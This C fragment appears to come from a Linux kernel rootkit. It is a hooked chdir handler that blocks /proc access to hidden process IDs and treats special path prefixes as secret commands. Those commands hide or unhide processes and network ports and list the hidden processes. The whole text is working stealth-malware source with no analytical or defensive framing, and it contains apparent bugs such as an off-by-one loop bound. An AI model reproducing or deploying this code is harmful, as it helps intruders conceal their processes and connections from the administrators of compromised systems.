int my_chdir (char *path) {
   char *ptr=NULL;
   int pid;
   int i;
   if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) {
      ptr = path + strlen (PROC_STRING);
      pid = my_atoi (ptr);
      if (pid > 0) {
	 for (i=0; i<=MAX_HIDE_PIDS; i++) {
	    if (hide_pids[i] != 0) {
	       if (pid == hide_pids[i]) {
		  return -1;
	       }
	    }
	 }
      }
   }
   if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) {
      ptr = (char *)path + strlen (CHDIR_HIDE_PID);
      return hide_pid(my_atoi(ptr));
   } else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) {
      ptr = (char *)path + strlen (CHDIR_UNHIDE_PID);
      return unhide_pid(my_atoi(ptr));
   } else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) {
      char pidlist[32];
      unsigned long mmm;
      struct task_struct *task;
      char *string;
      int i;

      mmm=current->mm->brk;
      org_brk((char*)mmm+32);
      string = (char *)mmm +2;

      for (i = 0; i <= MAX_HIDE_PIDS; i++) {
	 if (hide_pids[i] != 0) {
	    task = find_task_by_pid (hide_pids[i]);
	    snprintf (pidlist, 32, "%d - %s\n", hide_pids[i], task->comm);
	    copy_to_user (string, pidlist, strlen(pidlist)+1);
	    org_write (1, string, strlen(string)+1);
	 }
      }

      org_brk((char*)mmm);
      return 0;
   } else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) {
      ptr = (char *)path + strlen (CHDIR_HIDE_NET);
      return hide_port(my_atoi(ptr));
   } else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) {
      ptr = (char *)path + strlen (CHDIR_UNHIDE_NET);
      return unhide_port(my_atoi(ptr));
   }
   return org_chdir (path);
}